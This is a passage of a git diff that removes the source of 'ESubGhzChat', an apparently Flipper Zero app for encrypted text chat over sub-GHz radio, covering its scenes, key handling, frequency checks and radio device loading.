- subghz_tx_rx_worker_set_callback_have_read(state->subghz_worker, have_read_cb, state);
-
- /* enter suppress charge mode */
- furi_hal_power_suppress_charge_enter();
-
- /* init internal device */
- subghz_devices_init();
-
- state->subghz_device =
- radio_device_loader_set(state->subghz_device, SubGhzRadioDeviceTypeExternalCC1101);
-
- subghz_devices_reset(state->subghz_device);
- subghz_devices_idle(state->subghz_device);
-
- /* set chat name prefix */
- furi_string_printf(state->name_prefix, "%s", furi_hal_version_get_name_ptr());
-
- /* get notification record, we use this to make the flipper vibrate */
- /* no error handling here, don't know how */
- state->notification = furi_record_open(RECORD_NOTIFICATION);
-
- /* hook into the view port's draw and input callbacks */
- state->orig_draw_cb = state->view_dispatcher->view_port->draw_callback;
- state->orig_input_cb = state->view_dispatcher->view_port->input_callback;
- view_port_draw_callback_set(
- state->view_dispatcher->view_port, esubghz_hooked_draw_callback, state);
- view_port_input_callback_set(
- state->view_dispatcher->view_port, esubghz_hooked_input_callback, state);
-
- view_dispatcher_enable_queue(state->view_dispatcher);
-
- /* set callbacks for view dispatcher */
- view_dispatcher_set_event_callback_context(state->view_dispatcher, state);
- view_dispatcher_set_custom_event_callback(
- state->view_dispatcher, esubghz_chat_custom_event_callback);
- view_dispatcher_set_navigation_event_callback(
- state->view_dispatcher, esubghz_chat_navigation_event_callback);
- view_dispatcher_set_tick_event_callback(
- state->view_dispatcher, esubghz_chat_tick_event_callback, TICK_INTERVAL);
-
- /* add our two views to the view dispatcher */
- view_dispatcher_add_view(
- state->view_dispatcher, ESubGhzChatView_Menu, menu_get_view(state->menu));
- view_dispatcher_add_view(
- state->view_dispatcher, ESubGhzChatView_Input, text_input_get_view(state->text_input));
- view_dispatcher_add_view(
- state->view_dispatcher,
- ESubGhzChatView_HexKeyInput,
- byte_input_get_view(state->hex_key_input));
- view_dispatcher_add_view(
- state->view_dispatcher, ESubGhzChatView_ChatBox, text_box_get_view(state->chat_box));
- view_dispatcher_add_view(
- state->view_dispatcher,
- ESubGhzChatView_KeyDisplay,
- dialog_ex_get_view(state->key_display));
- view_dispatcher_add_view(
- state->view_dispatcher, ESubGhzChatView_NfcPopup, popup_get_view(state->nfc_popup));
-
- /* get the GUI record and attach the view dispatcher to the GUI */
- /* no error handling here, don't know how */
- Gui* gui = furi_record_open(RECORD_GUI);
- view_dispatcher_attach_to_gui(state->view_dispatcher, gui, ViewDispatcherTypeFullscreen);
-
- /* switch to the key menu scene */
- scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_KeyMenu);
-
- /* run the view dispatcher, this call only returns when we close the
- * application */
- view_dispatcher_run(state->view_dispatcher);
-
- /* if it is running, stop the Sub-GHz worker */
- if(subghz_tx_rx_worker_is_running(state->subghz_worker)) {
- exit_chat(state);
- subghz_tx_rx_worker_stop(state->subghz_worker);
- }
-
- /* if it is running, stop the NFC worker */
- nfc_worker_stop(state->nfc_worker);
-
- err = 0;
-
- /* close GUI record */
- furi_record_close(RECORD_GUI);
-
- /* remove our two views from the view dispatcher */
- view_dispatcher_remove_view(state->view_dispatcher, ESubGhzChatView_Menu);
- view_dispatcher_remove_view(state->view_dispatcher, ESubGhzChatView_Input);
- view_dispatcher_remove_view(state->view_dispatcher, ESubGhzChatView_HexKeyInput);
- view_dispatcher_remove_view(state->view_dispatcher, ESubGhzChatView_ChatBox);
- view_dispatcher_remove_view(state->view_dispatcher, ESubGhzChatView_KeyDisplay);
- view_dispatcher_remove_view(state->view_dispatcher, ESubGhzChatView_NfcPopup);
-
- /* close notification record */
- furi_record_close(RECORD_NOTIFICATION);
-
- /* clear the key and potential password */
- crypto_explicit_bzero(state->text_input_store, sizeof(state->text_input_store));
- crypto_explicit_bzero(state->hex_key_input_store, sizeof(state->hex_key_input_store));
- crypto_explicit_bzero(state->key_hex_str, sizeof(state->key_hex_str));
- crypto_ctx_clear(state->crypto_ctx);
-
- /* clear nfc data */
- if(state->nfc_dev_data->parsed_data != NULL) {
- furi_string_free(state->nfc_dev_data->parsed_data);
- }
- crypto_explicit_bzero(state->nfc_dev_data, sizeof(NfcDeviceData));
-
- /* deinit devices */
- radio_device_loader_end(state->subghz_device);
-
- subghz_devices_deinit();
-
- /* exit suppress charge mode */
- furi_hal_power_suppress_charge_exit();
-
- /* free everything we allocated */
-
- crypto_ctx_free(state->crypto_ctx);
-
-err_alloc_crypto:
- free(state->nfc_dev_data);
-
-err_alloc_ndevdata:
- nfc_worker_free(state->nfc_worker);
-
-err_alloc_nworker:
- subghz_tx_rx_worker_free(state->subghz_worker);
-
-err_alloc_worker:
- popup_free(state->nfc_popup);
-
-err_alloc_np:
- dialog_ex_free(state->key_display);
-
-err_alloc_kd:
- chat_box_free(state);
-
-err_alloc_cb:
- byte_input_free(state->hex_key_input);
-
-err_alloc_hki:
- text_input_free(state->text_input);
-
-err_alloc_ti:
- menu_free(state->menu);
-
-err_alloc_menu:
- helper_strings_free(state);
-
-err_alloc_hs:
- view_dispatcher_free(state->view_dispatcher);
-
-err_alloc_vd:
- scene_manager_free(state->scene_manager);
-
-err_alloc_sm:
- free(state);
-
-err_alloc:
- if(err != 0) {
- FURI_LOG_E(APPLICATION_NAME, "Failed to launch (alloc error)!");
- } else {
- FURI_LOG_I(APPLICATION_NAME, "Clean exit.");
- }
-
- return err;
-}
diff --git a/applications/external/esubghz_chat/esubghz_chat_i.h b/applications/external/esubghz_chat/esubghz_chat_i.h
deleted file mode 100644
index 4c6458cec..000000000
--- a/applications/external/esubghz_chat/esubghz_chat_i.h
+++ /dev/null
@@ -1,124 +0,0 @@
-#pragma once
-
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-
-#include "crypto_wrapper.h"
-#include "scenes/esubghz_chat_scene.h"
-
-#include "esubghz_chat_icons.h"
-#include
-
-#define APPLICATION_NAME "ESubGhzChat"
-
-#define DEFAULT_FREQ 433920000
-
-#define KEY_READ_POPUP_MS 3000
-
-#define RX_TX_BUFFER_SIZE 1024
-
-#define CHAT_BOX_STORE_SIZE 4096
-#define TEXT_INPUT_STORE_SIZE 256
-#define MSG_PREVIEW_SIZE 32
-
-#define KEY_HEX_STR_SIZE ((KEY_BITS / 8) * 3)
-
-typedef struct {
- SceneManager* scene_manager;
- ViewDispatcher* view_dispatcher;
- NotificationApp* notification;
-
- // UI elements
- Menu* menu;
- TextBox* chat_box;
- FuriString* chat_box_store;
- TextInput* text_input;
- char text_input_store[TEXT_INPUT_STORE_SIZE + 1];
- ByteInput* hex_key_input;
- uint8_t hex_key_input_store[KEY_BITS / 8];
- DialogEx* key_display;
- char key_hex_str[KEY_HEX_STR_SIZE + 1];
- Popup* nfc_popup;
-
- // for Sub-GHz
- uint32_t frequency;
- SubGhzTxRxWorker* subghz_worker;
- const SubGhzDevice* subghz_device;
-
- // for NFC
- NfcWorker* nfc_worker;
- NfcDeviceData* nfc_dev_data;
-
- // message assembly before TX
- FuriString* name_prefix;
- FuriString* msg_input;
-
- // message preview
- char msg_preview[MSG_PREVIEW_SIZE + 1];
-
- // encryption
- bool encrypted;
- ESubGhzChatCryptoCtx* crypto_ctx;
-
- // RX and TX buffers
- uint8_t rx_buffer[RX_TX_BUFFER_SIZE];
- uint8_t tx_buffer[RX_TX_BUFFER_SIZE];
- char rx_str_buffer[RX_TX_BUFFER_SIZE + 1];
- volatile uint32_t last_time_rx_data;
-
- // for locking
- ViewPortDrawCallback orig_draw_cb;
- ViewPortInputCallback orig_input_cb;
- bool kbd_locked;
- uint32_t kbd_lock_msg_ticks;
- uint8_t kbd_lock_count;
-
- // for ongoing inputs
- bool kbd_ok_input_ongoing;
- bool kbd_left_input_ongoing;
- bool kbd_right_input_ongoing;
-} ESubGhzChatState;
-
-typedef enum {
- ESubGhzChatEvent_FreqEntered,
- ESubGhzChatEvent_KeyMenuNoEncryption,
- ESubGhzChatEvent_KeyMenuPassword,
- ESubGhzChatEvent_KeyMenuHexKey,
- ESubGhzChatEvent_KeyMenuGenKey,
- ESubGhzChatEvent_KeyMenuReadKeyFromNfc,
- ESubGhzChatEvent_KeyReadPopupFailed,
- ESubGhzChatEvent_KeyReadPopupSucceeded,
- ESubGhzChatEvent_PassEntered,
- ESubGhzChatEvent_HexKeyEntered,
- ESubGhzChatEvent_MsgEntered,
- ESubGhzChatEvent_GotoMsgInput,
- ESubGhzChatEvent_GotoKeyDisplay,
- ESubGhzChatEvent_KeyDisplayBack,
- ESubGhzChatEvent_KeyDisplayShare,
-} ESubGhzChatEvent;
-
-typedef enum {
- ESubGhzChatView_Menu,
- ESubGhzChatView_Input,
- ESubGhzChatView_HexKeyInput,
- ESubGhzChatView_ChatBox,
- ESubGhzChatView_KeyDisplay,
- ESubGhzChatView_NfcPopup,
-} ESubGhzChatView;
-
-void set_chat_input_header(ESubGhzChatState* state);
-void append_msg(ESubGhzChatState* state, const char* msg);
-void tx_msg_input(ESubGhzChatState* state);
-void enter_chat(ESubGhzChatState* state);
diff --git a/applications/external/esubghz_chat/helpers/nfc_helpers.h b/applications/external/esubghz_chat/helpers/nfc_helpers.h
deleted file mode 100644
index 5e507e335..000000000
--- a/applications/external/esubghz_chat/helpers/nfc_helpers.h
+++ /dev/null
@@ -1,25 +0,0 @@
-#pragma once
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-#define NFC_MAX_BYTES 256
-#define NFC_CONFIG_PAGES 4
-
-struct FreqNfcEntry {
- uint32_t frequency;
- uint32_t unused1;
- uint32_t unused2;
- uint32_t unused3;
-} __attribute__((packed));
-
-struct ReplayDictNfcEntry {
- uint64_t run_id;
- uint32_t counter;
- uint32_t unused;
-} __attribute__((packed));
-
-#ifdef __cplusplus
-}
-#endif
diff --git a/applications/external/esubghz_chat/helpers/radio_device_loader.c b/applications/external/esubghz_chat/helpers/radio_device_loader.c
deleted file mode 100644
index 91f006a44..000000000
--- a/applications/external/esubghz_chat/helpers/radio_device_loader.c
+++ /dev/null
@@ -1,65 +0,0 @@
-#include "radio_device_loader.h"
-
-#include
-#include
-
-static void radio_device_loader_power_on() {
- uint8_t attempts = 0;
- while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) {
- furi_hal_power_enable_otg();
- //CC1101 power-up time
- furi_delay_ms(10);
- }
-}
-
-static void radio_device_loader_power_off() {
- if(furi_hal_power_is_otg_enabled()) furi_hal_power_disable_otg();
-}
-
-bool radio_device_loader_is_connect_external(const char* name) {
- bool is_connect = false;
- bool is_otg_enabled = furi_hal_power_is_otg_enabled();
-
- if(!is_otg_enabled) {
- radio_device_loader_power_on();
- }
-
- const SubGhzDevice* device = subghz_devices_get_by_name(name);
- if(device) {
- is_connect = subghz_devices_is_connect(device);
- }
-
- if(!is_otg_enabled) {
- radio_device_loader_power_off();
- }
- return is_connect;
-}
-
-const SubGhzDevice* radio_device_loader_set(
- const SubGhzDevice* current_radio_device,
- SubGhzRadioDeviceType radio_device_type) {
- const SubGhzDevice* radio_device;
-
- if(radio_device_type == SubGhzRadioDeviceTypeExternalCC1101 &&
- radio_device_loader_is_connect_external(SUBGHZ_DEVICE_CC1101_EXT_NAME)) {
- radio_device_loader_power_on();
- radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_EXT_NAME);
- subghz_devices_begin(radio_device);
- } else if(current_radio_device == NULL) {
- radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME);
- } else {
- radio_device_loader_end(current_radio_device);
- radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME);
- }
-
- return radio_device;
-}
-
-void radio_device_loader_end(const SubGhzDevice* radio_device) {
- furi_assert(radio_device);
- radio_device_loader_power_off();
- // Code below is not used (and will cause crash) since its called from tx_rx worker end!
- //if(radio_device != subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME)) {
- // subghz_devices_end(radio_device);
- //}
-}
\ No newline at end of file
diff --git a/applications/external/esubghz_chat/helpers/radio_device_loader.h b/applications/external/esubghz_chat/helpers/radio_device_loader.h
deleted file mode 100644
index bee4e2c36..000000000
--- a/applications/external/esubghz_chat/helpers/radio_device_loader.h
+++ /dev/null
@@ -1,15 +0,0 @@
-#pragma once
-
-#include
-
-/** SubGhzRadioDeviceType */
-typedef enum {
- SubGhzRadioDeviceTypeInternal,
- SubGhzRadioDeviceTypeExternalCC1101,
-} SubGhzRadioDeviceType;
-
-const SubGhzDevice* radio_device_loader_set(
- const SubGhzDevice* current_radio_device,
- SubGhzRadioDeviceType radio_device_type);
-
-void radio_device_loader_end(const SubGhzDevice* radio_device);
\ No newline at end of file
diff --git a/applications/external/esubghz_chat/scenes/esubghz_chat_chat_box.c b/applications/external/esubghz_chat/scenes/esubghz_chat_chat_box.c
deleted file mode 100644
index be84ced48..000000000
--- a/applications/external/esubghz_chat/scenes/esubghz_chat_chat_box.c
+++ /dev/null
@@ -1,59 +0,0 @@
-#include "../esubghz_chat_i.h"
-
-/* Prepares the text box scene. */
-void scene_on_enter_chat_box(void* context) {
- FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_chat_box");
-
- furi_assert(context);
- ESubGhzChatState* state = context;
-
- text_box_reset(state->chat_box);
- text_box_set_text(state->chat_box, furi_string_get_cstr(state->chat_box_store));
- text_box_set_focus(state->chat_box, TextBoxFocusEnd);
-
- view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_ChatBox);
-}
-
-/* Handles scene manager events for the text box scene. */
-bool scene_on_event_chat_box(void* context, SceneManagerEvent event) {
- FURI_LOG_T(APPLICATION_NAME, "scene_on_event_chat_box");
-
- furi_assert(context);
- ESubGhzChatState* state = context;
-
- bool consumed = false;
-
- switch(event.type) {
- case SceneManagerEventTypeCustom:
- switch(event.event) {
- /* switch to message input scene */
- case ESubGhzChatEvent_GotoMsgInput:
- if(!scene_manager_previous_scene(state->scene_manager)) {
- view_dispatcher_stop(state->view_dispatcher);
- }
- consumed = true;
- break;
- case ESubGhzChatEvent_GotoKeyDisplay:
- scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_KeyDisplay);
- consumed = true;
- break;
- }
- break;
-
- default:
- consumed = false;
- break;
- }
-
- return consumed;
-}
-
-/* Cleans up the text box scene. */
-void scene_on_exit_chat_box(void* context) {
- FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_chat_box");
-
- furi_assert(context);
- ESubGhzChatState* state = context;
-
- text_box_reset(state->chat_box);
-}
diff --git a/applications/external/esubghz_chat/scenes/esubghz_chat_chat_input.c b/applications/external/esubghz_chat/scenes/esubghz_chat_chat_input.c
deleted file mode 100644
index 721fea676..000000000
--- a/applications/external/esubghz_chat/scenes/esubghz_chat_chat_input.c
+++ /dev/null
@@ -1,107 +0,0 @@
-#include "../esubghz_chat_i.h"
-
-/* If no message was entred this simply emits a MsgEntered event to the scene
- * manager to switch to the text box. If a message was entered it is appended
- * to the name string. The result is encrypted, if encryption is enabled, and
- * then copied into the TX buffer. The contents of the TX buffer are then
- * transmitted. The sent message is appended to the text box and a MsgEntered
- * event is sent to the scene manager to switch to the text box view. */
-static bool chat_input_validator(const char* text, FuriString* error, void* context) {
- UNUSED(error);
-
- furi_assert(context);
- ESubGhzChatState* state = context;
-
- /* no message, just switch to the text box view */
- if(strlen(text) == 0) {
- view_dispatcher_send_custom_event(state->view_dispatcher, ESubGhzChatEvent_MsgEntered);
- return true;
- }
-
- /* concatenate the name prefix and the actual message */
- furi_string_set(state->msg_input, state->name_prefix);
- furi_string_cat_str(state->msg_input, ": ");
- furi_string_cat_str(state->msg_input, text);
-
- /* append the message to the chat box and prepare message preview */
- append_msg(state, furi_string_get_cstr(state->msg_input));
-
- /* encrypt and transmit message */
- tx_msg_input(state);
-
- /* clear message input buffer */
- furi_string_set_char(state->msg_input, 0, 0);
-
- /* switch to text box view */
- view_dispatcher_send_custom_event(state->view_dispatcher, ESubGhzChatEvent_MsgEntered);
-
- return true;
-}
-
-/* Prepares the message input scene. */
-void scene_on_enter_chat_input(void* context) {
- FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_chat_input");
-
- furi_assert(context);
- ESubGhzChatState* state = context;
-
- state->text_input_store[0] = 0;
- text_input_reset(state->text_input);
- /* use validator for scene change to get around minimum length
- * requirement */
- text_input_set_result_callback(
- state->text_input,
- NULL,
- NULL,
- state->text_input_store,
- sizeof(state->text_input_store),
- true);
- text_input_set_validator(state->text_input, chat_input_validator, state);
- set_chat_input_header(state);
-
- view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_Input);
-}
-
-/* Handles scene manager events for the message input scene. */
-bool scene_on_event_chat_input(void* context, SceneManagerEvent event) {
- FURI_LOG_T(APPLICATION_NAME, "scene_on_event_chat_input");
-
- furi_assert(context);
- ESubGhzChatState* state = context;
-
- bool consumed = false;
-
- switch(event.type) {
- case SceneManagerEventTypeCustom:
- switch(event.event) {
- /* switch to text box scene */
- case ESubGhzChatEvent_MsgEntered:
- scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_ChatBox);
- consumed = true;
- break;
- }
- break;
-
- case SceneManagerEventTypeBack:
- /* stop the application if the user presses back here */
- view_dispatcher_stop(state->view_dispatcher);
- consumed = true;
- break;
-
- default:
- consumed = false;
- break;
- }
-
- return consumed;
-}
-
-/* Cleans up the password input scene. */
-void scene_on_exit_chat_input(void* context) {
- FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_chat_input");
-
- furi_assert(context);
- ESubGhzChatState* state = context;
-
- text_input_reset(state->text_input);
-}
diff --git a/applications/external/esubghz_chat/scenes/esubghz_chat_freq_input.c b/applications/external/esubghz_chat/scenes/esubghz_chat_freq_input.c
deleted file mode 100644
index 3c74caec3..000000000
--- a/applications/external/esubghz_chat/scenes/esubghz_chat_freq_input.c
+++ /dev/null
@@ -1,108 +0,0 @@
-#include "../esubghz_chat_i.h"
-
-/* Sends FreqEntered event to scene manager and enters the chat. */
-static void freq_input_cb(void* context) {
- furi_assert(context);
- ESubGhzChatState* state = context;
-
- enter_chat(state);
-
- view_dispatcher_send_custom_event(state->view_dispatcher, ESubGhzChatEvent_FreqEntered);
-}
-
-/* Validates the entered frequency. */
-static bool freq_input_validator(const char* text, FuriString* error, void* context) {
- furi_assert(text);
- furi_assert(error);
-
- furi_assert(context);
- ESubGhzChatState* state = context;
-
- int ret = sscanf(text, "%lu", &(state->frequency));
- if(ret != 1) {
- furi_string_printf(error, "Please enter\nfrequency\nin Hz!");
- return false;
- }
-
- if(!subghz_devices_is_frequency_valid(state->subghz_device, state->frequency)) {
- furi_string_printf(error, "Frequency\n%lu\n is invalid!", state->frequency);
- return false;
- }
-
-#ifdef FW_ORIGIN_Official
- if(!furi_hal_region_is_frequency_allowed(state->frequency)) {
-#else /* FW_ORIGIN_Official */
- if(!furi_hal_subghz_is_tx_allowed(state->frequency)) {
-#endif /* FW_ORIGIN_Official */
- furi_string_printf(error, "TX forbidden\non frequency\n%lu!", state->frequency);
- return false;
- }
-
- return true;
-}
-
-/* Prepares the frequency input scene. */
-void scene_on_enter_freq_input(void* context) {
- FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_freq_input");
-
- furi_assert(context);
- ESubGhzChatState* state = context;
-
- snprintf(state->text_input_store, TEXT_INPUT_STORE_SIZE, "%lu", state->frequency);
- text_input_reset(state->text_input);
- text_input_set_result_callback(
- state->text_input,
- freq_input_cb,
- state,
- state->text_input_store,
- sizeof(state->text_input_store),
- true);
- text_input_set_validator(state->text_input, freq_input_validator, state);
- text_input_set_header_text(state->text_input, "Frequency");
-
- view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_Input);
-}
-
-/* Handles scene manager events for the frequency input scene. */
-bool scene_on_event_freq_input(void* context, SceneManagerEvent event) {
- FURI_LOG_T(APPLICATION_NAME, "scene_on_event_freq_input");
-
- furi_assert(context);
- ESubGhzChatState* state = context;
-
- bool consumed = false;
-
- switch(event.type) {
- case SceneManagerEventTypeCustom:
- switch(event.event) {
- /* switch to message input scene */
- case ESubGhzChatEvent_FreqEntered:
- scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_ChatInput);
- consumed = true;
- break;
- }
- break;
-
- case SceneManagerEventTypeBack:
- /* stop the application if the user presses back here */
- view_dispatcher_stop(state->view_dispatcher);
- consumed = true;
- break;
-
- default:
- consumed = false;
- break;
- }
-
- return consumed;
-}
-
-/* Cleans up the frequency input scene. */
-void scene_on_exit_freq_input(void* context) {
- FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_freq_input");
-
- furi_assert(context);
- ESubGhzChatState* state = context;
-
- text_input_reset(state->text_input);
-}
diff --git a/applications/external/esubghz_chat/scenes/esubghz_chat_hex_key_input.c b/applications/external/esubghz_chat/scenes/esubghz_chat_hex_key_input.c
deleted file mode 100644
index 00d9e70f3..000000000
--- a/applications/external/esubghz_chat/scenes/esubghz_chat_hex_key_input.c
+++ /dev/null
@@ -1,80 +0,0 @@
-#include "../esubghz_chat_i.h"
-
-/* Sets the entered bytes as the key and sends a HexKeyEntered event to the
- * scene manager. */
-static void hex_key_input_cb(void* context) {
- furi_assert(context);
- ESubGhzChatState* state = context;
-
- /* initiate the crypto context */
- bool ret = crypto_ctx_set_key(
- state->crypto_ctx, state->hex_key_input_store, state->name_prefix, furi_get_tick());
-
- /* cleanup */
- crypto_explicit_bzero(state->hex_key_input_store, sizeof(state->hex_key_input_store));
-
- if(!ret) {
- crypto_ctx_clear(state->crypto_ctx);
- return;
- }
-
- state->encrypted = true;
-
- view_dispatcher_send_custom_event(state->view_dispatcher, ESubGhzChatEvent_HexKeyEntered);
-}
-
-/* Prepares the hex key input scene. */
-void scene_on_enter_hex_key_input(void* context) {
- FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_hex_key_input");
-
- furi_assert(context);
- ESubGhzChatState* state = context;
-
- byte_input_set_result_callback(
- state->hex_key_input,
- hex_key_input_cb,
- NULL,
- state,
- state->hex_key_input_store,
- sizeof(state->hex_key_input_store));
-
- view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_HexKeyInput);
-}
-
-/* Handles scene manager events for the hex key input scene. */
-bool scene_on_event_hex_key_input(void* context, SceneManagerEvent event) {
- FURI_LOG_T(APPLICATION_NAME, "scene_on_event_hex_key_input");
-
- furi_assert(context);
- ESubGhzChatState* state = context;
-
- bool consumed = false;
-
- switch(event.type) {
- case SceneManagerEventTypeCustom:
- switch(event.event) {
- /* switch to frequency input scene */
- case ESubGhzChatEvent_HexKeyEntered:
- scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_FreqInput);
- consumed = true;
- break;
- }
- break;
-
- default:
- consumed = false;
- break;
- }
-
- return consumed;
-}
-
-/* Cleans up the hex key input scene. */
-void scene_on_exit_hex_key_input(void* context) {
- FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_hex_key_input");
-
- furi_assert(context);
- ESubGhzChatState* state = context;
-
- crypto_explicit_bzero(state->hex_key_input_store, sizeof(state->hex_key_input_store));
-}
diff --git a/applications/external/esubghz_chat/scenes/esubghz_chat_key_display.c b/applications/external/esubghz_chat/scenes/esubghz_chat_key_display.c
deleted file mode 100644
index b682d7d87..000000000
--- a/applications/external/esubghz_chat/scenes/esubghz_chat_key_display.c
+++ /dev/null
@@ -1,145 +0,0 @@
-#include "../esubghz_chat_i.h"
-
-void key_display_result_cb(DialogExResult result, void* context) {
- furi_assert(context);
- ESubGhzChatState* state = context;
-
- switch(result) {
- case DialogExResultLeft:
- view_dispatcher_send_custom_event(state->view_dispatcher, ESubGhzChatEvent_KeyDisplayBack);
- break;
-
- case DialogExResultCenter:
- if(state->encrypted) {
- view_dispatcher_send_custom_event(
- state->view_dispatcher, ESubGhzChatEvent_KeyDisplayShare);
- }
- break;
-
- default:
- break;
- }
-}
-
-/* Prepares the key display scene. */
-void scene_on_enter_key_display(void* context) {
- FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_key_display");
-
- furi_assert(context);
- ESubGhzChatState* state = context;
-
- if(state->encrypted) {
- uint8_t key[KEY_BITS / 8];
- crypto_ctx_get_key(state->crypto_ctx, key);
- snprintf(
- state->key_hex_str,
- KEY_HEX_STR_SIZE,
- "%02hX%02hX%02hX%02hX"
- "%02hX%02hX%02hX%02hX\n"
- "%02hX%02hX%02hX%02hX"
- "%02hX%02hX%02hX%02hX\n"
- "%02hX%02hX%02hX%02hX"
- "%02hX%02hX%02hX%02hX\n"
- "%02hX%02hX%02hX%02hX"
- "%02hX%02hX%02hX%02hX",
- key[0],
- key[1],
- key[2],
- key[3],
- key[4],
- key[5],
- key[6],
- key[7],
- key[8],
- key[9],
- key[10],
- key[11],
- key[12],
- key[13],
- key[14],
- key[15],
- key[16],
- key[17],
- key[18],
- key[19],
- key[20],
- key[21],
- key[22],
- key[23],
- key[24],
- key[25],
- key[26],
- key[27],
- key[28],
- key[29],
- key[30],
- key[31]);
- crypto_explicit_bzero(key, sizeof(key));
- } else {
- strcpy(state->key_hex_str, "No Key");
- }
-
- dialog_ex_reset(state->key_display);
-
- dialog_ex_set_text(state->key_display, state->key_hex_str, 64, 2, AlignCenter, AlignTop);
-
- dialog_ex_set_icon(state->key_display, 0, 0, NULL);
-
- dialog_ex_set_left_button_text(state->key_display, "Back");
-
- if(state->encrypted) {
- dialog_ex_set_center_button_text(state->key_display, "Share");
- }
-
- dialog_ex_set_result_callback(state->key_display, key_display_result_cb);
- dialog_ex_set_context(state->key_display, state);
-
- view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_KeyDisplay);
-}
-
-/* Handles scene manager events for the key display scene. */
-bool scene_on_event_key_display(void* context, SceneManagerEvent event) {
- FURI_LOG_T(APPLICATION_NAME, "scene_on_event_key_display");
-
- furi_assert(context);
- ESubGhzChatState* state = context;
-
- bool consumed = false;
-
- switch(event.type) {
- case SceneManagerEventTypeCustom:
- switch(event.event) {
- /* switch to message input scene */
- case ESubGhzChatEvent_KeyDisplayBack:
- if(!scene_manager_previous_scene(state->scene_manager)) {
- view_dispatcher_stop(state->view_dispatcher);
- }
- consumed = true;
- break;
-
- /* open key sharing popup */
- case ESubGhzChatEvent_KeyDisplayShare:
- scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_KeySharePopup);
- consumed = true;
- break;
- }
- break;
-
- default:
- consumed = false;
- break;
- }
-
- return consumed;
-}
-
-/* Cleans up the key display scene. */
-void scene_on_exit_key_display(void* context) {
- FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_key_display");
-
- furi_assert(context);
- ESubGhzChatState* state = context;
-
- dialog_ex_reset(state->key_display);
- crypto_explicit_bzero(state->key_hex_str, sizeof(state->key_hex_str));
-}
diff --git a/applications/external/esubghz_chat/scenes/esubghz_chat_key_menu.c b/applications/external/esubghz_chat/scenes/esubghz_chat_key_menu.c
deleted file mode 100644
index cd1269ee1..000000000
--- a/applications/external/esubghz_chat/scenes/esubghz_chat_key_menu.c
+++ /dev/null
@@ -1,174 +0,0 @@
-#include "../esubghz_chat_i.h"
-
-typedef enum {
- ESubGhzChatKeyMenuItems_NoEncryption,
- ESubGhzChatKeyMenuItems_Password,
- ESubGhzChatKeyMenuItems_HexKey,
- ESubGhzChatKeyMenuItems_GenKey,
- ESubGhzChatKeyMenuItems_ReadKeyFromNfc,
-} ESubGhzChatKeyMenuItems;
-
-static void key_menu_cb(void* context, uint32_t index) {
- furi_assert(context);
- ESubGhzChatState* state = context;
-
- uint8_t key[KEY_BITS / 8];
-
- switch(index) {
- case ESubGhzChatKeyMenuItems_NoEncryption:
- state->encrypted = false;
-
- view_dispatcher_send_custom_event(
- state->view_dispatcher, ESubGhzChatEvent_KeyMenuNoEncryption);
- break;
-
- case ESubGhzChatKeyMenuItems_Password:
- view_dispatcher_send_custom_event(
- state->view_dispatcher, ESubGhzChatEvent_KeyMenuPassword);
- break;
-
- case ESubGhzChatKeyMenuItems_HexKey:
- view_dispatcher_send_custom_event(state->view_dispatcher, ESubGhzChatEvent_KeyMenuHexKey);
- break;
-
- case ESubGhzChatKeyMenuItems_GenKey:
- /* generate a random key */
- furi_hal_random_fill_buf(key, KEY_BITS / 8);
-
- /* initiate the crypto context */
- bool ret = crypto_ctx_set_key(state->crypto_ctx, key, state->name_prefix, furi_get_tick());
-
- /* cleanup */
- crypto_explicit_bzero(key, sizeof(key));
-
- if(!ret) {
- crypto_ctx_clear(state->crypto_ctx);
- return;
- }
-
- /* set encrypted flag and enter the chat */
- state->encrypted = true;
-
- view_dispatcher_send_custom_event(state->view_dispatcher, ESubGhzChatEvent_KeyMenuGenKey);
- break;
-
- case ESubGhzChatKeyMenuItems_ReadKeyFromNfc:
- view_dispatcher_send_custom_event(
- state->view_dispatcher, ESubGhzChatEvent_KeyMenuReadKeyFromNfc);
- break;
-
- default:
- break;
- }
-}
-
-/* Prepares the key menu scene. */
-void scene_on_enter_key_menu(void* context) {
- FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_key_menu");
-
- furi_assert(context);
- ESubGhzChatState* state = context;
-
- menu_reset(state->menu);
-
- /* clear the crypto CTX in case we got back from password or hex key
- * input */
- crypto_ctx_clear(state->crypto_ctx);
-
- menu_add_item(
- state->menu,
- "No encryption",
- &I_chat_14px,
- ESubGhzChatKeyMenuItems_NoEncryption,
- key_menu_cb,
- state);
- menu_add_item(
- state->menu,
- "Password",
- &I_keyboard_14px,
- ESubGhzChatKeyMenuItems_Password,
- key_menu_cb,
- state);
- menu_add_item(
- state->menu, "Hex Key", &I_hex_14px, ESubGhzChatKeyMenuItems_HexKey, key_menu_cb, state);
- menu_add_item(
- state->menu,
- "Generate Key",
- &I_u2f_14px,
- ESubGhzChatKeyMenuItems_GenKey,
- key_menu_cb,
- state);
- menu_add_item(
- state->menu,
- "Read Key from NFC",
- &I_Nfc_14px,
